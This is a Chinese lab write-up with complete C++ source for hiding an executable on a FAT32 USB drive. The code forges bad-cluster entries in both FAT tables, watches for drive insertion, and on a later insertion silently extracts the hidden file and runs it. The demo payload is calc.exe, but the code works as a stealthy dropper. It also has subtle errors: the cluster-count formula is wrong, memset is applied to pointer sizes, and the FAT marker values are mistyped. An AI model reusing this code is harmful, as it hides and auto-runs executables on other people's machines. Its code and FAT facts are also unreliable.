簡單的FAT32 U盤隱寫

一、實驗預期目的及實驗環境

本實驗意實現FAT32結構下的U盤隱寫不被U盤文件系統讀出,主要考察FAT32簡單的結構認識和簡單的代碼能力。

爲了方便實現,目標機環境設爲Winxp sp2,附帶Winhex和VS2010工具包。

二、基礎知識

FAT32整體文件結構如下

這裏寫圖片描述

本實驗主要需要隱寫文件至Upan處,方法採用修改FAT表、0號1號磁盤信息實現隱寫。

0號磁盤結構中需要注意如下

偏移0BH:扇區字節數      00 020X0200,512字節
偏移0DH:每簇扇區數      08即每簇包括8個扇區
偏移0EH:保留扇區數      24 00即保留36個扇區
偏移10H:FAT表份數       02即兩個FAT表
偏移24H:FAT表佔用扇區數  EE 1D  00 00即FAT表佔7662個扇區

1號磁盤結構中需要注意如下

偏移0x1E8:空閒簇數        4個字節
偏移0x1Ec:下一可用簇號  4個字節

注意這裏存儲的都是小端序!

FAT32結構如下
FAT表項每一項佔4字節,表項的地址編號對應相應的簇序號。
表項的內容如下:

若爲0,該簇未被分配;
若爲0xFFFFFF7,壞簇,內有壞扇區;
若爲0x0FFFFFF,該簇爲文件結束簇;
其它值,爲對應文件的下一簇號

我們這裏處理用0xFFFFFF7僞造壞簇。一般情況下FAT表會有多個(一般是2個,所以還是需要把每個表都改掉)

注意簇位置對應的公式如下!

保留區*扇區大小+(第一個簇標號-2)*每簇大小*512+FAT表個數*扇區大小*FAT表大小

爲什麼中間有個減2呢?原因是FAT中的0、1號簇對應的地方用來存放其他的內容了,所以對應的沒有0、1號簇,最先的簇從2號開始。’

三、實現思路

這裏使用的方法很簡單,甚至很幼稚

1.U盤的檢測用map數組,最開始標記,動態判定一定數量的的磁盤有無變化來檢測

2.U盤中需要存放不連續的簇的位置,我直接寫到了U盤的空白區0x800位置,其實如果藏到FAT表中的隱蔽性會更小,受到的大小限制也更小了(因爲前面的空白區畢竟有限)

3.只是單純爲了驗證效果,寫入U盤,和讀取U盤文件運行都是用的文件的形式,文件用的固定地址

四、代碼

// Upan_killer.cpp : Defines the entry point for the console application.
//

#include "stdafx.h"
#include "stdio.h"
#include "stdlib.h"
#include "iostream"
#include "windows.h"
#include "DBT.H"
#include "fstream"
#include "map"
#include "string"
using namespace std;

#define A  TEXT("\\\\.\\A:") 
#define B  TEXT("\\\\.\\B:") 
#define C  TEXT("\\\\.\\C:") 
#define D  TEXT("\\\\.\\D:") 
#define E  TEXT("\\\\.\\E:") 
#define F  TEXT("\\\\.\\F:") 
#define G  TEXT("\\\\.\\G:") 
#define H  TEXT("\\\\.\\H:") 
#define I  TEXT("\\\\.\\I:") 
#define J  TEXT("\\\\.\\J:") 

char U[3]={0};          //U盤的盤符

int LeftArea,FatSize;   //分別是FAT區的保留區大小和FAT表的大小
int FirstCluster;       //可以利用的第一個簇號碼
int SectorLeft;         //剩餘可利用的空閒簇
int ClusterSize;        //簇的大小
int ClusterNeed;        //寫入的exe文件所需要的簇數
map<string,int>mmp;
//判斷文件是否被建立
int FileExits(char *FileName)
{
    fstream _file;
    _file.open(FileName,ios::in);
    if(!_file) return 0;
    else return 1;
}

//參數分別是文件句柄、數據緩衝區、準備文件讀取的字節數和讀取位置的偏移量
void ReadFileWithSize(HANDLE h,unsigned char* Buffer,DWORD dwBytestoRead,DWORD offset)
{
    DWORD dwBytesRead,dwBytesToRead;
    OVERLAPPED over = { 0 };            //計算讀取的偏移量
    over.Offset = offset; 
    dwBytesToRead = dwBytestoRead;      // 要讀取的字節數
    dwBytesRead = 0;                    // 實際讀取到的字節數
    do{                                       //循環寫文件,確保完整的文件被寫入  
        ReadFile(h,Buffer,dwBytesToRead,&dwBytesRead,&over);
        dwBytesToRead -= dwBytesRead;
        Buffer += dwBytesRead;
     } while (dwBytesToRead > 0);

}
//參數分別是文件句柄、數據緩衝區、準備文件讀取的字節數和讀取位置的偏移量
void WriteFileWithSize(HANDLE h,unsigned char* Buffer,DWORD dwBytesToWrite,DWORD offset)
{
    DWORD dwBytesWrite;
    OVERLAPPED over = { 0 };            //計算讀取的偏移量
    over.Offset = offset; 
    dwBytesToWrite = dwBytesToWrite;        // 要寫入的字節數
    dwBytesWrite = 0;                   // 實際讀取到的字節數
    do{                                       //循環寫文件,確保完整的文件被寫入  
        WriteFile(h,Buffer,dwBytesToWrite,&dwBytesWrite,&over);
        dwBytesToWrite -= dwBytesWrite;
        Buffer += dwBytesWrite;
     } while (dwBytesToWrite > 0);

}

//將一串hex值變成int型
int UcharToInt(unsigned char* Buffer,int Len)
{
    int answer=0;
    for(int i=Len-1;i>=0;i--)
    {
        answer = answer*256+(int)Buffer[i];
    }
    return answer;
}
//將一個int型變成小端hex值
void IntToUchar(unsigned char* Buffer,int Len,int value)
{
    for(int i=0;i<=Len-1;i++)
    {   
        Buffer[i]=value%256;
        value/=256;
    }
}

void GetInfoOfUSB(HANDLE h)
{
    unsigned char* Buffer = new unsigned char[512 + 1];
    ReadFileWithSize(h,Buffer,512,0);       //讀取第0磁盤
    LeftArea = UcharToInt(Buffer+0xe,2);
    FatSize = UcharToInt(Buffer+0x24,4);
    ClusterSize=UcharToInt(Buffer+0xd,1);
    ReadFileWithSize(h,Buffer,512,512);     //讀取第1磁盤
    FirstCluster=UcharToInt(Buffer+0x1ec,4);
    SectorLeft=UcharToInt(Buffer+0x1e8,4);
    //printf("%d %d %d %d %d\n",LeftArea,FatSize,ClusterSize,FirstCluster,SectorLeft);
}
//修改FAT32表
void HandleFATTable(HANDLE h,int ClusterNeed)
{
    int HasChnage;          //標記讀取的512字節是否經過變動了
    unsigned char* Buffer = new unsigned char[512 + 1];             //存放讀取的臨時數據,在改變之後順手存到FAT表中
    memset(Buffer,0,sizeof(Buffer));
    unsigned char* ClusterDir = new unsigned char[512 + 1];         //存放的簇的位置
    memset(ClusterDir,0,sizeof(ClusterDir));
    IntToUchar(ClusterDir,4,ClusterNeed);
    int HaveTooken=1;                   //正在尋找簇位置的標號
    //int ReadPos=(FirstCluster-2)*8*512+LeftArea*512+FatSize*2*512;    //表示讀取扇區的地址,爲什麼減2?因爲Fat表示從2號開始的,0、1號用來記錄一些特殊標誌位了
    int ReadPos=LeftArea*512+4*(FirstCluster)/512*512;  //爲了保證後面讀取512字符的都是整磁盤大小
    int ClusterNow=FirstCluster;        //該512字節讀取後的對應簇的號碼,但是這裏不是對齊的,需要下面循環開始的時候矯正一下
    int TurnYes=0;
    while(HaveTooken<=ClusterNeed)
    {
        ReadFileWithSize(h,Buffer,512,ReadPos);
        HasChnage = 0;
        for(int i=0;i<128;i++)
        {
            if(Buffer[i*4]==0&&Buffer[i*4+1]==0&&Buffer[i*4+2]==0&&Buffer[i*4+3]==0)
            {
                if(TurnYes==0)
                {
                    ClusterNow-=i;
                    TurnYes=1;
                }
                HasChnage =1;
                Buffer[i*4]=0xf7;
                Buffer[i*4+1]=0xff;
                Buffer[i*4+2]=0xff;
                Buffer[i*4+3]=0xff;
                IntToUchar(ClusterDir+HaveTooken*4,4,ClusterNow+i);
                HaveTooken++;
                if(HaveTooken>ClusterNeed) break;
            }
        }
        if (HasChnage)
        {
            WriteFileWithSize(h,Buffer,512,ReadPos);                //修改FAT1表
            WriteFileWithSize(h,Buffer,512,ReadPos+512*FatSize);    //修改FAT2表
            FlushFileBuffers(h);
        }

        if(HaveTooken>ClusterNeed) break;
        ClusterNow+=128;
        ReadPos+=512;
    }
    WriteFileWithSize(h,ClusterDir,512,0x800);
    FlushFileBuffers(h);
    ReadFileWithSize(h,Buffer,512,512);     //讀取第1磁盤
    IntToUchar(Buffer+0x1e8,4,SectorLeft-ClusterNeed);
    unsigned char* tmpvalue = new unsigned char[512 + 1];           //存放的簇的位置
    memset(tmpvalue,0,sizeof(tmpvalue));
    while(1)
    {
        int flag=0;
        ReadFileWithSize(h,tmpvalue,512,ReadPos);
        for(int i=0;i<128;i++)
        {
            if(tmpvalue[i*4]==0&&tmpvalue[i*4+1]==0&&tmpvalue[i*4+2]==0&&tmpvalue[i*4+3]==0)
            {
                IntToUchar(Buffer+0x1ec,4,ClusterNow+i);
                flag=1;
                break;
            }
        }
        if(flag==1)
        {
            WriteFileWithSize(h,Buffer,512,512);
            FlushFileBuffers(h);
            break;
        }
        ClusterNow+=128;
        ReadPos+=512;
    }

}
//這裏主要進行各種修改和文件的隱寫
void WriteFileInto(HANDLE h)
{
    HANDLE pFile;
    DWORD fileSize;
    pFile = CreateFile(TEXT("C://calc.exe"),GENERIC_READ,          
        FILE_SHARE_READ,
        NULL,               
        OPEN_EXISTING,           //打開已存在的文件 
        FILE_FLAG_WRITE_THROUGH , 
        NULL);
    if (pFile == INVALID_HANDLE_VALUE)  
    {  
        cout<<"failed"<<endl;  
     } 
    fileSize = GetFileSize(pFile,NULL);          //得到文件的大小
    ClusterNeed = fileSize/(ClusterSize*512)+(fileSize%(ClusterSize*512));
    HandleFATTable(h,ClusterNeed);          //修改FAT表等一系列信息

    unsigned char* TemValue = new unsigned char[512*ClusterSize + 1];               //存放讀取的臨時數據,在改變之後順手存到FAT表中
    memset(TemValue,0,sizeof(TemValue));
    unsigned char* Buffer = new unsigned char[512 + 1];         //存放的簇的位置
    memset(Buffer,0,sizeof(Buffer));
    int ClusterNow;     //對應簇的號碼
    ReadFileWithSize(h,Buffer,512,0x800);
    for(int i=1;i<=ClusterNeed;i++)
    {
        ClusterNow = UcharToInt(Buffer+i*4,4);
        ReadFileWithSize(pFile,TemValue,512*ClusterSize,(i-1)*512*ClusterSize);
        WriteFileWithSize(h,TemValue,512*ClusterSize,(ClusterNow-2)*ClusterSize*512+LeftArea*512+FatSize*2*512);
        FlushFileBuffers(h);
    }
    cout<<"成功寫入!"<<endl;
}
//新建填充一個exe,並且執行
void FillTheFile(HANDLE h)
{
    if(FileExits("C://Mynew.exe"))
    {
        remove("C://Mynew.exe");
    }
    HANDLE pFile = CreateFile(TEXT("C://Mynew.exe"),GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, CREATE_ALWAYS , FILE_FLAG_WRITE_THROUGH, NULL);    //創建一個exe等待寫入
    unsigned char* Buffer = new unsigned char[512 + 1];     
    int ClusterNow;
    unsigned char* TemValue = new unsigned char[512*ClusterSize + 1];
    memset(TemValue,0,sizeof(TemValue));
    memset(Buffer,0,sizeof(Buffer));
    ReadFileWithSize(h,Buffer,512,0x800);
    ClusterNeed = UcharToInt(Buffer,4);
    for(int i=1;i<=ClusterNeed;i++)
    {
        ClusterNow = UcharToInt(Buffer+i*4,4);
        ReadFileWithSize(h,TemValue,512*ClusterSize,(ClusterNow-2)*ClusterSize*512+LeftArea*512+FatSize*2*512);
        WriteFileWithSize(pFile,TemValue,512*ClusterSize,(i-1)*512*ClusterSize);
        FlushFileBuffers(pFile);
    }
    CloseHandle(pFile);
    if(FileExits("C://Mynew.exe"))
    {
        WinExec("C://Mynew.exe",SW_SHOW);
    }
    else
    {
        cout<<"Sometihng Wrong!"<<endl;
    }
}
//U盤的發現機制沒有用到什麼WINAPI,直接構造一個map表定期掃描即可
void InitMap()
{
    string Disk;

    DWORD allDisk = GetLogicalDrives();
    for (int i=0;i<16;i++)
    {
        string Disk="";
        if ((allDisk & 1)==1)
        {
            char Tmp='A'+i;
            Disk=Tmp;
            Disk+=":";
            mmp[Disk]++;
        }
        allDisk = allDisk>>1;
        if(allDisk==0) break;
    }
}
//顯示map數據,表示磁盤的鏈接情況
void show_map()
{
    map<string,int>::iterator it;
    for(it=mmp.begin();it!=mmp.end();it++)
    {
        cout<<it->first<<" "<<it->second<<endl;
    }
}
//子進程來監視掃描磁盤的,10秒一次
DWORD  WINAPI FindUPan(PVOID pM)
{

    string Disk;
    while (true)
    {
        DWORD allDisk = GetLogicalDrives(); //返回一個32位整數,將他轉換成二進制後,表示磁盤,最低位爲A盤
        if (allDisk!=0)
        {
            show_map();
            for (int i=0;i<16;i++)     //假定最多有24個磁盤
            {
                char Tmp='A'+i;
                Disk=Tmp;
                Disk+=":";
                if ((allDisk & 1)==1)
                {
                    if(mmp[Disk]==0)
                    {
                        U[0]=Disk[0];U[1]=Disk[1];
                        mmp[Disk]++;
                    }
                }
                else
                {
                    if(mmp[Disk]==1)
                    {
                        mmp[Disk]--;
                    }
                }
                allDisk = allDisk>>1;
            }
        }   
        Sleep(10000);
        system("cls");
    }


}
HANDLE ChooseAHandle(char u)
{
    HANDLE h;
    switch(u)
    {
        case 'A': h = CreateFile(A,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'B': h = CreateFile(B,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'C': h = CreateFile(C,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'D': h = CreateFile(D,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'E': h = CreateFile(E,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'F': h = CreateFile(F,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'G': h = CreateFile(G,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'H': h = CreateFile(H,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'I': h = CreateFile(I,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
        case 'J': h = CreateFile(J,GENERIC_READ|GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE,NULL, OPEN_EXISTING, FILE_FLAG_WRITE_THROUGH , NULL); break;
    }
    return h;
}
int main()
{
    HANDLE h;
    unsigned char* buffer = new unsigned char[512 + 1];     // 接收數據用的 buffer
    U[0]=0;U[1]=0;U[2]=0;
    InitMap();
    //show_map();
    HANDLE handle = CreateThread(NULL, 0, FindUPan, NULL, 0, NULL); 
    while(true)
    {
        if(U[0]!=0) //發現了U盤插入
        {
            h = ChooseAHandle(U[0]);
            if (h == INVALID_HANDLE_VALUE)  
            {  
                cout<<"failed"<<endl;  
            } 
            GetInfoOfUSB(h);
            ReadFileWithSize(h,buffer,512,0x800);

            if(buffer[0]==0&&buffer[1]==0&&buffer[2]==0&&buffer[3]==0)
            {
                WriteFileInto(h);
                //FillTheFile(h);
                U[0]=0;U[1]=0;
            }
            else
            {   
                FillTheFile(h);
                U[0]=0;U[1]=0;
            }
            CloseHandle(h);
        }
    }
    CloseHandle(handle);
    //system ("pause");
    return 0;
}

五、實驗效果

首先檢測U盤的插拔,10秒動態檢測

這裏寫圖片描述

當出現新的磁盤時候檢測有沒有寫入過,如果寫入過那麼直接讀出文件運行,否則寫入

這裏目標寫入文件是一個192K的calc.exe
磁盤1如下(原來是格式化後的空U盤)

這裏寫圖片描述

記錄簇的位置,頭四位記錄簇的個數

這裏寫圖片描述

我們手工計算一下文件應該開始寫入第一簇的地址吧
這裏的數據如下

每簇=8扇區
每扇區=512字節
FAT2個,每個15326個扇區
第一簇在第3號簇

那麼我們計算的地址如下

這裏寫圖片描述

實際寫入的數據如下
這裏寫圖片描述

寫入文件的結尾出在這裏

這裏寫圖片描述

在padding後面有2個扇區的空白。

我們往U盤中複製一些文件吧

這裏寫圖片描述

計算一下可以得知,沒有被覆蓋掉!

在插入U盤一會會自動運行clac.exe文件,在C盤的根目錄下生成了一Mynew.exe

這裏寫圖片描述

六、代碼中的小問題

1.WriteFIle無法及時寫入

有三種解決方法

1。調用FlushFileBuffers(hFile);
2。在用CreateFile創建文件的時候,第6個參數使用標誌FILE_FLAG_WRITE_THROUGH
3。關閉掉句柄

也有可能是你的CreateFile時候參數就沒有可寫選項

2.CreateFile文件時候不能指定磁盤

做了一個列表,用switch函數選擇句柄(這裏10個範圍可能不夠大)

這裏寫圖片描述

這裏寫圖片描述

3.如何檢測磁盤

使用GetLogicalDrives()函數,返回一個32位整數,將他轉換成二進制後,表示磁盤,最低位爲A盤。然後定義一個全局變量,如果全局變量變化了說明有新的磁盤。

DWORD  WINAPI FindUPan(PVOID pM)
{
    string Disk;
    while (true)
    {
        DWORD allDisk = GetLogicalDrives(); //返回一個32位整數,將他轉換成二進制後,表示磁盤,最低位爲A盤
        if (allDisk!=0)
        {
            show_map();
            for (int i=0;i<10;i++)     //假定最多有10個磁盤
            {
                char Tmp='A'+i;
                Disk=Tmp;
                Disk+=":";
                if ((allDisk & 1)==1)
                {
                    if(mmp[Disk]==0)
                    {
                        U[0]=Disk[0];U[1]=Disk[1];
                        mmp[Disk]++;
                    }
                }
                else
                {
                    if(mmp[Disk]==1)
                    {
                        mmp[Disk]--;
                    }
                }
                allDisk = allDisk>>1;
            }
        }   
        Sleep(10000);
        system("cls");
    } 
}

這裏寫圖片描述

七、不足與反思

本身就是一個簡單的實驗,也收到時間的限制等等吧。下面講講很多可以改進的地方

1.還是可以用FAT表記錄下一個簇的位置,我們只需要藏好第一個簇的內容就好了,這個或者可以標識U盤特定信息將之存到數據庫中。

2.掃描法得到U盤插拔還是太笨了,本來可以用MFC的插入消息來寫,沒有寫通所以換了簡單的方法。

3.文件可以內嵌到程序中,不用每次從固定位置讀,實際用時候也沒這個條件,創建文件也容易暴露。








發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章